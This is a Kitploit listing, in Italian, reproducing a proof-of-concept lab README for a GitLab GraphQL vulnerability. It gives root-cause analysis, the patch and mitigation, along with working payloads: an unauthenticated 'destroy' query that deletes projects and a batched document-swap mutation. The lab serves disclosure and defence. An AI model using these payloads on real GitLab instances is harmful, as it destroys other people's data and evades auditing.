Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-19478 — Fornisce exploit PoC e analisi delle cause profonde per due vulnerabilità della direttiva `@gl_introduced` di GitLab GraphQL: esecuzione di metodi non autenticata e scambio di documenti in batch, con patch a monte ed evidenze dal vivo. | Kitploit
Strumenti/GitHubGitHub/n0xdaemon/cve-2026-19478
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APISicurezza Web
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Fornisce exploit PoC e analisi delle cause profonde per due vulnerabilità della direttiva `@gl_introduced` di GitLab GraphQL: esecuzione di metodi non autenticata e scambio di documenti in batch, con patch a monte ed evidenze dal vivo.

Vedi Repository
3 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-19478 — Vulnerabilità del version-filter GraphQL di GitLab @gl_introduced

Un laboratorio di riproduzione per due bug correlati nella funzionalità di filtro di versione (version-filter) GraphQL di GitLab (la direttiva @gl_introduced). Entrambi risiedono nella stessa area funzionale, sono corretti dalla stessa patch upstream ed entrambi consentono a una richiesta GraphQL di raggiungere percorsi di codice che non ha mai dichiarato:

  • Esecuzione di metodi tramite campo fallback — una singola query non autenticata e non in batch può invocare un metodo arbitrario senza argomenti (es. destroy) sul modello dietro qualsiasi tipo GraphQL, semplicemente nominando un campo che non esiste e contrassegnandolo con @gl_introduced.
  • Scambio di documenti tra operazioni — in una richiesta in batch (multiplex), il documento di query parsato di un'operazione può essere sostituito con quello di un'altra, così uno slot che aveva dichiarato una lettura innocua finisce per eseguire la mutazione di un altro slot.
Scarica lo strumento
Versioni interessate18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Versioni corrette18.11.11, 19.0.8, 19.1.6, 19.2.4
Target del labgitlab/gitlab-ce:19.2.2-ce.0 (ultima build prima della correzione)
Innescodirettiva GraphQL @gl_introduced, da sola o all'interno di un batch

Struttura del repository

root@kitploit:~
docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Tutto ciò che si trova in src/ è sorgente upstream identica, mai reimplementata — il loader sovrappone src/vuln o src/patched sopra src/common.


1. Causa principale

1a. Campo fallback → risoluzione predefinita dei metodi di graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback consente a una query di riferire un campo che non esiste ancora su un tipo senza che la richiesta fallisca — pensato per i deployment rolling, dove lo schema di un nodo vecchio non ha ancora un campo che un nodo più recente già fornisce. Il suo override di get_field controlla se il campo richiesto manca e se la richiesta è contrassegnata con contain_future_fields; in tal caso restituisce un campo sintetico invece di generare un'eccezione:

root@kitploit:~
# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

Il problema: questo GraphQL::Schema::Field viene costruito senza metodo resolver, senza classe resolver, senza blocco. A quel punto si applica la risoluzione dei campi predefinita di graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):

root@kitploit:~
inner_object.public_send(@method_sym)

@method_sym è il nome del campo, in notazione underscore — cioè esattamente la stringa che l'attaccante ha inserito nella query. Se l'oggetto dietro al tipo GraphQL (il modello ActiveRecord) possiede un metodo pubblico reale, senza argomenti, con quel nome, graphql-ruby lo invoca e ne restituisce il risultato (convertito al tipo atteso). fallback_value: nil si applica solo quando il metodo non esiste davvero — non fa nulla per impedire che un metodo reale venga eseguito.

Quindi: interroga un qualsiasi tipo per un campo chiamato come un metodo distruttivo reale — per esempio destroy — contrassegnalo con @gl_introduced così che arrivi all'esecuzione, e il metodo viene eseguito.

1b. Scambio di documenti tra operazioni

IntroducedTracer implementa il resto della funzionalità di filtro di versione attraverso due hook di trace di graphql-ruby — parse (una volta per operazione) e execute_query (una volta per operazione). Nella build vulnerabile lo stato per-operazione viene archiviato in semplici variabili di istanza sull'oggetto trace:

root@kitploit:~
# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

Il problema: graphql-ruby condivide UNA singola istanza del trace tra tutte le operazioni di una richiesta multiplex e le analizza tutte prima di eseguirne una qualsiasi. Quindi in un batch a due operazioni:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 trasporta un campo futuro @gl_introduced)

Dopo il parsing, sopravvive solo lo stato dell'ultima operazione. Poi parte l'esecuzione:

  1. execute_query(op1) → il flag è true, quindi il documento di op1 viene sovrascritto con op2_doc e ri-preparato → lo slot di op1 esegue l'operazione di op2.

op1 aveva dichiarato una lettura; esegue la scrittura di op2.

La correzione

patch-19.2.2-to-19.2.4.diff chiude entrambi:

root@kitploit:~
# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Flusso dell'exploit

2a. Campo fallback — richiesta singola, senza autenticazione, senza batch

root@kitploit:~
query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Nessun header Authorization. Una sola operazione, nessun batch. destroy non è un campo reale di Project — non esiste affatto nello schema — ma la direttiva fa sì che FutureFieldFilter lo rimuova prima della validazione statica e attivi contain_future_fields per l'esecuzione, dove get_field restituisce un campo senza resolver chiamato destroy e graphql-ruby invoca project.public_send(:destroy).

Verificato dal vivo (evidence/live_vuln_fallback_field.txt, riprodotto tre volte su tre progetti usa-e-getta separati): inviata contro un progetto pubblico, la risposta è stata {"data":{"project":{"id":"...","destroy":true}}}. Un successivo controllo REST autenticato (GET /api/v4/projects/:id) ha restituito 404 — il progetto era realmente sparito. Il log delle richieste per quella chiamata mostra 9 scritture sincrone sul database e zero nuove righe AuditEvent: la chiamata bypassa completamente Projects::DestroyService (e con esso la trail di audit, i webhook e le notifiche) — è una cascata ActiveRecord#destroy grezza invocata direttamente attraverso la risoluzione predefinita dei campi di GraphQL.

2b. Scambio di documenti tra operazioni — richiede un batch

root@kitploit:~
sequenceDiagram
    participant A as Attacker
    participant C as GraphqlController
    participant T as IntroducedTracer (one shared instance)
    participant S as StarProject mutation

    A->>C: POST /api/graphql  [ {query: op1}, {query: op2} ]
    Note over A: op1 = query { currentUser { username } }   (declared read)<br/>op2 = mutation { starProject(...) { count @gl_introduced(version:"99.0.0") } }
    C->>T: parse(op1)
    Note over T: @original = op1_doc, future=false
    C->>T: parse(op2)
    Note over T: @original = op2_doc, future=TRUE  (overwrites op1 state)
    C->>T: execute_query(op1)
    T->>T: op1.@document = @original (op2_doc)#59; prepare_ast
    T->>S: run starProject  ← smuggled into the read slot
    S-->>A: slot 1 returns { starProject: { count } } #59; star state changed

Payload di op2 — la direttiva @gl_introduced deve semplicemente trovarsi su un campo reale, così che al momento del parsing FutureFieldFilter attivi contain_future_fields e predisponga lo scambio:

root@kitploit:~
mutation {
  starProject(input: { projectId: "gid://gitlab/Project/1", starred: false }) {
    count @gl_introduced(version: "99.0.0")
  }
}

Verificato dal vivo (evidence/live_vuln.txt): lo slot 1, che aveva dichiarato query { currentUser { username } }, restituisce {"data":{"starProject":{"count":"0"}}} e il conteggio delle stelle del progetto passa da 1 → 0.


3. Esecuzione dei PoC

PoC #1 — exploit HTTP dal vivo, esecuzione di metodi tramite campo fallback

root@kitploit:~
docker compose up -d          # first boot runs migrations; wait for healthy (~10 min)

GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope -- used only to create/verify a disposable project> \
  bash harness/live_test_fallback.sh

Lo script crea un progetto pubblico usa-e-getta tramite l'API REST autenticata (solo setup), invia una query GraphQL non autenticata che nomina un campo destroy contrassegnato con @gl_introduced, quindi ricontrolla il progetto via REST autenticata. Dichiara VULNERABLE se il progetto non esiste più.

PoC #2 — exploit HTTP dal vivo, scambio di documenti tra operazioni

root@kitploit:~
GITLAB_URL=http://localhost:8929 \
GITLAB_TOKEN=<PAT with api scope> \
PROJECT_FULL_PATH=root/cve-lab-target \
  bash harness/live_test.sh

Lo script legge lo stato di base delle stelle, invia il batch a due operazioni e dichiara VULNERABLE se lo slot 1, che aveva dichiarato una lettura, restituisce un payload starProject (e/o il conteggio delle stelle cambia).

PoC #3 — causa principale autonoma, scambio di documenti (non serve GitLab)

Isola Gitlab::Graphql::VersionFilter in una piccola app graphql-ruby così che lo scambio sia visibile senza alcun rumore da GitLab. Carica la sorgente upstream reale.

root@kitploit:~
docker build -t cve-2026-19478-poc -f harness/Dockerfile .
docker run --rm cve-2026-19478-poc harness/run_poc.rb vuln      # -> VULNERABLE
docker run --rm cve-2026-19478-poc harness/run_poc.rb patched   # -> SAFE

4. Impatto

Entrambi i vettori sono confermati dal vivo contro gitlab/gitlab-ce:19.2.2-ce.0. Comportano una diversa esposizione a livello di autorizzazioni perché colpiscono livelli diversi dello stack di GitLab.

Campo fallback (1a): confermato non autenticato e distruttivo

Nessun token, nessun batch, una sola query. La risposta restituisce direttamente il risultato del metodo ("destroy": true) e il record sottostante viene effettivamente distrutto — confermato via REST autenticata (404) e tramite evidenze lato server (zero righe AuditEvent, 9 scritture sincrone in una singola richiesta), il che significa che bypassa completamente il normale servizio di eliminazione di GitLab. Riprodotto tre volte in modo indipendente, su tre progetti usa-e-getta separati. Qualsiasi tipo GraphQL il cui oggetto sottostante espone un metodo distruttivo reale senza argomenti è un candidato.

Scambio tra operazioni (1b): confermato con autenticazione; bloccato quando anonimo

Con qualsiasi token che ha scope api, un'operazione che aveva dichiarato una lettura esegue una scrittura che non ha mai richiesto (conteggio stelle 1 → 0, guidato da uno slot di tipo query). Inviata senza token, lo scambio scatta comunque — lo slot di lettura raggiunge e risolve starProject — ma ogni mutazione di GitLab eredita Mutations::BaseMutation, il cui gate self.authorized? viene eseguito al momento dell'esecuzione:

root@kitploit:~
Ability.allowed?(context[:current_user], :execute_graphql_mutation, :global)

Per una richiesta anonima current_user è nil e GlobalPolicy esegue rule { anonymous }.policy { prevent :execute_graphql_mutation }. Una scansione di 10 configurazioni di batch (ordine, direttiva su campo / sottocampo / frammento inline, batch a 2 e 3 operazioni) senza autenticazione: lo slot dirottato colpisce il gate ogni volta e il conteggio delle stelle non si muove mai.

Questo gate è specifico delle mutazioni — non ha alcuna attinenza con 1a, che non tocca mai Mutations::BaseMutation; il campo fallback risolve direttamente contro il modello come un semplice campo di tipo query, senza alcun controllo di autorizzazione nel percorso.

Perché il PoC autonomo (#3) sembra non autenticato per 1b

src/common/demo_app.rb non ha alcun livello di autorizzazione — la sua mutazione si limita a scrivere. Quindi il PoC #3 dimostra il meccanismo dello scambio (uno slot di lettura che esegue una scrittura) in una sandbox senza autenticazione. Il GitLab reale applica il gate execute_graphql_mutation che la demo omette — specificamente per 1b. In questa build standard, una scrittura guidata da una mutazione senza credenziali non è raggiungibile tramite il solo 1b; è raggiungibile tramite 1a, che non richiede affatto una mutazione.


5. Mitigazione

Aggiorna a 18.11.11 / 19.0.8 / 19.1.6 / 19.2.4 o successivi. La correzione (vedi il diff) fa due cose: future_field_fallback.rb assegna al campo fallback un resolver esplicito (Resolvers::NilResolver, che restituisce sempre nil) invece di affidarsi alla dispatch predefinita dei metodi di graphql-ruby, chiudendo 1a; introduced_tracer.rb limita lo stato per-operazione del tracer al documento specifico di ciascuna operazione invece di usare una variabile di istanza condivisa, chiudendo 1b.